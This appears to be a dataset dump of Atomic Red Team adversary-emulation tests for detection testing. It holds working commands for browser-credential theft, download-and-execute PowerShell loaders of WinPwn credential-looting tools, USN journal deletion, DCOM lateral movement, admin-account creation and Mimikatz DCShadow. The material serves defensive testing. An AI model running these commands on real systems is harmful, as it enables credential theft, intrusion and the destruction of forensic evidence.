deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: WinPwn - Loot local Credentials - mimi-kittenz
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
kittenz -consoleoutput -noninteractive
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
Invoke-Sharpweb -command "all"
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Simulating Access to Chrome Login Data - MacOS
Platforms: macos
Executor: sh

Description:
This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. 
Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. 
See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . 


Command:
cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data"
cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account"


Cleanup:
rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1
rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: WebBrowserPassView - Credentials from Browser
Platforms: windows
Executor: powershell

Description:
The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.

Command:
Start-Process "#{webbrowserpassview_path}"
Start-Sleep -Second 4
Stop-Process -Name "WebBrowserPassView"


Dependencies:
Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path}
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: BrowserStealer (Chrome / Firefox / Microsoft Edge)
Platforms: windows
Executor: powershell

Description:
[Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.
If using to test with Firefox, if the browser is x64 you need to use the x64 build


Command:
$profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
Copy-Item $profile\key4.db -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null
Copy-Item $profile\logins.json -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null
Remove-Item $profile\key4.db > $null
Remove-Item $profile\logins.json > $null
Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\key4.db" -Destination $profile\ > $null
Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\logins.json" -Destination $profile\ > $null
cd "$env:PathToAtomicsFolder\T1555.003\bin"
""|.\BrowserCollector.exe


Cleanup:
$profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
Remove-Item $profile\key4.db > $null
Remove-Item $profile\logins.json > $null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads" -Destination $profile\ > $null
Remove-Item "PathToAtomicsFolder\..\Exte

Dependencies:
Firefox must be on the device.

BrowserCollector must exist in the bin directory

Login Data file that is a copy of a Firefox Login Data that contains credentials for the tool to "steal." Must exist at the specified path.
Atomic Red Team — T1555.003: Credentials from Password Stores: Credentials from Web Browsers
Test: Dump Chrome Login Data with esentutl
Platforms: windows
Executor: command_prompt

Description:
This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.
[Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)


Command:
esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /d "#{output_path}"


Cleanup:
del /f /q #{output_path} > nul 2>&1


Dependencies:
Chrome must be installed
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Compiled HTML Help Local Payload
Platforms: windows
Executor: command_prompt

Description:
Uses hh.exe to execute a local compiled HTML Help payload.
Upon execution calc.exe will open


Command:
hh.exe "#{local_chm_file}"


Dependencies:
The payload must exist on disk at specified location (#{local_chm_file})
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Compiled HTML Help Remote Payload
Platforms: windows
Executor: command_prompt

Description:
Uses hh.exe to execute a remote compiled HTML Help payload.
Upon execution displays an error saying the file cannot be open


Command:
hh.exe #{remote_chm_file}
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Invoke CHM with default Shortcut Command Execution
Platforms: windows
Executor: powershell

Description:
Executes a CHM file with the default Shortcut Command method.

Command:
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Invoke CHM with InfoTech Storage Protocol Handler
Platforms: windows
Executor: powershell

Description:
Executes a CHM file with the ITS protocol handler.

Command:
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Invoke CHM Simulate Double click
Platforms: windows
Executor: powershell

Description:
Executes a CHM file simulating a user double click.

Command:
Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Invoke CHM with Script Engine and Help Topic
Platforms: windows
Executor: powershell

Description:
Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.

Command:
Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Invoke CHM Shortcut Command with ITS and Help Topic
Platforms: windows
Executor: powershell

Description:
Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.

Command:
Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Atomic Red Team — T1218.001: Signed Binary Proxy Execution: Compiled HTML File
Test: Decompile Local CHM File
Platforms: windows
Executor: command_prompt

Description:
Uses hh.exe to decompile a local compiled HTML Help file.
Upon successful execution the chm file will decompile to disk.
Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/


Command:
hh.exe -decompile %temp% "#{local_chm_file}"


Cleanup:
del %temp%\T1218.001.html >nul 2>&1


Dependencies:
The payload must exist on disk at specified location (#{local_chm_file})
Atomic Red Team — T1070: Indicator Removal on Host
Test: Indicator Removal using FSUtil
Platforms: windows
Executor: command_prompt

Description:
Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn


Command:
fsutil usn deletejournal /D C:


Cleanup:
fsutil usn createjournal m=1000 a=100 c:
Atomic Red Team — T1070: Indicator Removal on Host
Test: Indicator Manipulation using FSUtil
Platforms: windows
Executor: powershell

Description:
Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output
will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file
- https://tria.ge/230601-x8x6bsgb24/behavioral2


Command:
if (-not (Test-Path "#{file_to_manipulate}")) { New-Item "#{file_to_manipulate}" -Force } 
echo "[PII_REDACTED]" > "#{file_to_manipulate}"
fsutil  file setZeroData offset=0 length=#{file_data_length} "#{file_to_manipulate}"


Cleanup:
rm "#{file_to_manipulate}"
Atomic Red Team — T1021.003: Remote Services: Distributed Component Object Model
Test: PowerShell Lateral Movement using MMC20
Platforms: windows
Executor: powershell

Description:
Powershell lateral movement using the mmc20 application com object.

Reference:

https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

Upon successful execution, cmd will spawn calc.exe on a remote computer.


Command:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
Atomic Red Team — T1021.003: Remote Services: Distributed Component Object Model
Test: PowerShell Lateral Movement Using Excel Application Object
Platforms: windows
Executor: powershell

Description:
Powershell lateral movement using the Excel COM objects.

Reference:

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

Upon successful execution, cmd will spawn calc.exe on a remote computer.


Command:
copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}"))
$com.ActivateMicrosoftApp("5")


Cleanup:
Remove-Item 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'


Dependencies:
Microsoft Excel must be installed
Atomic Red Team — T1553.003: Subvert Trust Controls: SIP and Trust Provider Hijacking
Test: SIP (Subject Interface Package) Hijacking via Custom DLL
Platforms: windows
Executor: command_prompt

Description:
Registers a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from 
https://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing
the system to utilize it during signature checks, and logging said checks.


Command:
regsvr32.exe #{dll_payload}


Cleanup:
regsvr32.exe /u #{dll_payload}


Dependencies:
GTSIPProvider.dll must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Create local account with admin privileges
Platforms: windows
Executor: command_prompt

Description:
After execution the new account will be active and added to the Administrators group

Command:
net user art-test /add
net user art-test #{password}
net localgroup administrators art-test /add

Cleanup:
net localgroup administrators art-test /delete >nul 2>&1
net user art-test /delete >nul 2>&1
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Create local account with admin privileges - MacOS
Platforms: macos
Executor: bash

Description:
After execution the new account will be active and added to the Administrators group

Command:
dscl . -create /Users/AtomicUser
dscl . -create /Users/AtomicUser UserShell /bin/bash
dscl . -create /Users/AtomicUser RealName "Atomic User"
dscl . -create /Users/AtomicUser UniqueID 503
dscl . -create /Users/AtomicUser PrimaryGroupID 503
dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
dscl . -passwd /Users/AtomicUser mySecretPassword
dscl . -append /Groups/admin GroupMembership AtomicUser

Cleanup:
sudo dscl . -delete /Users/AtomicUser
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Create local account with admin privileges using sysadminctl utility - MacOS
Platforms: macos
Executor: bash

Description:
After execution the new account will be active and added to the Administrators group

Command:
sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin

Cleanup:
sysadminctl interactive -deleteUser art-tester
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Enable root account using dsenableroot utility - MacOS
Platforms: macos
Executor: bash

Description:
After execution the current/new user will have root access

Command:
dsenableroot #current user
dsenableroot -u art-tester -p art-tester -r art-root #new user

Cleanup:
dsenableroot -d #current user
dsenableroot -d -u art-tester -p art-tester #new user
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Add a new/existing user to the admin group using dseditgroup utility - macOS
Platforms: macos
Executor: bash

Description:
After execution the current/new user will be added to the Admin group

Command:
dseditgroup -o edit -a art-user -t user admin

Cleanup:
dseditgroup -o edit -d art-user -t user admin
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: WinPwn - Loot local Credentials - powerhell kittie
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - powerhell kittie technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
obfuskittiedump -consoleoutput -noninteractive
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: WinPwn - Loot local Credentials - Safetykatz
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - Safetykatz technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
safedump -consoleoutput -noninteractive
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Create local account (Linux)
Platforms: linux
Executor: bash

Description:
An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.


Command:
password=$(openssl passwd -1 art)
([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
su art -c "whoami; exit"


Cleanup:
[ "$(uname)" = 'Linux' ] && userdel art -rf || rmuser -y art
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Reactivate a locked/expired account (Linux)
Platforms: linux
Executor: bash

Description:
A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.


Command:
useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
usermod --lock art
usermod --expiredate "1" art
usermod --unlock art
usermod --expiredate "99999" art
su -c whoami art


Cleanup:
userdel -r art
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Reactivate a locked/expired account (FreeBSD)
Platforms: linux
Executor: sh

Description:
A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.


Command:
pw useradd art -g wheel -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
pw lock art
pw usermod art -e +1d
pw unlock art
pw user mod art -e +99d
su art
whoami
exit


Cleanup:
rmuser -y art
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Login as nobody (Linux)
Platforms: linux
Executor: bash

Description:
An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`


Command:
cat /etc/passwd |grep nobody
chsh --shell /bin/bash nobody
usermod --password $(openssl passwd -1 nobody) nobody
su -c "whoami" nobody


Cleanup:
chsh --shell /usr/sbin/nologin nobody
cat /etc/passwd |grep nobody
# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Login as nobody (freebsd)
Platforms: linux
Executor: sh

Description:
An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin`


Command:
cat /etc/passwd |grep nobody
pw usermod nobody -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user nobody -h 0
su nobody
whoami
exit


Cleanup:
pw usermod nobody -s /usr/sbin/nologin
cat /etc/passwd |grep nobody
# -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
Atomic Red Team — T1078.003: Valid Accounts: Local Accounts
Test: Use PsExec to elevate to NT Authority\SYSTEM account
Platforms: windows
Executor: command_prompt

Description:
PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.

The local system account is a default windows account which has unrestricted access to all system resources.

Upon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit.    


Command:
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami


Dependencies:
PsExec tool from Sysinternals must exist in the ExternalPayloads directory
Atomic Red Team — T1207: Rogue Domain Controller
Test: DCShadow (Active Directory)
Platforms: windows
Executor: powershell

Description:
Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

[DCShadow](https://www.dcshadow.com/)
[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)

It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.
The easiest is to run elevated and as a Domain Admin user.


Command:
# starting fake DC server, as SYSTEM (required)
$dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
Remove-Item $dc_output_file -ErrorAction Ignore
$mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"

# wait for fake DC server to be ready...
Start-Sleep -Seconds 5

# server ready, so trigger replication (push) and wait until it finished
& "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"

Write-Host "`nWaiting for fake DC server to return"
Wait-Process $dc

Write-Host "`nOutput from fake DC server:"
Get-Content $dc_output_file
Start-Sleep 1 # 

Cleanup:
Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore


Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute Local MSI file with embedded JScript
Platforms: windows
Executor: command_prompt

Description:
Executes an MSI containing embedded JScript code using msiexec.exe


Command:
#{msi_exe} /q /#{action} "#{msi_payload}"


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute Local MSI file with embedded VBScript
Platforms: windows
Executor: command_prompt

Description:
Executes an MSI containing embedded VBScript code using msiexec.exe


Command:
#{msi_exe} /q /#{action} "#{msi_payload}"


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute Local MSI file with an embedded DLL
Platforms: windows
Executor: command_prompt

Description:
Executes an MSI containing an embedded DLL using msiexec.exe


Command:
#{msi_exe} /q /#{action} "#{msi_payload}"


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: Msiexec.exe - Execute Local MSI file with an embedded EXE
Platforms: windows
Executor: command_prompt

Description:
Executes an MSI containing an embedded EXE using msiexec.exe


Command:
#{msi_exe} /q /#{action} "#{msi_payload}"


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})
Atomic Red Team — T1218.007: Signed Binary Proxy Execution: Msiexec
Test: WMI Win32_Product Class - Execute Local MSI file with embedded JScript
Platforms: windows
Executor: powershell

Description:
Executes an MSI containing embedded JScript code using the WMI Win32_Product class


Command:
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }


Dependencies:
The MSI file must exist on disk at specified location (#{msi_payload})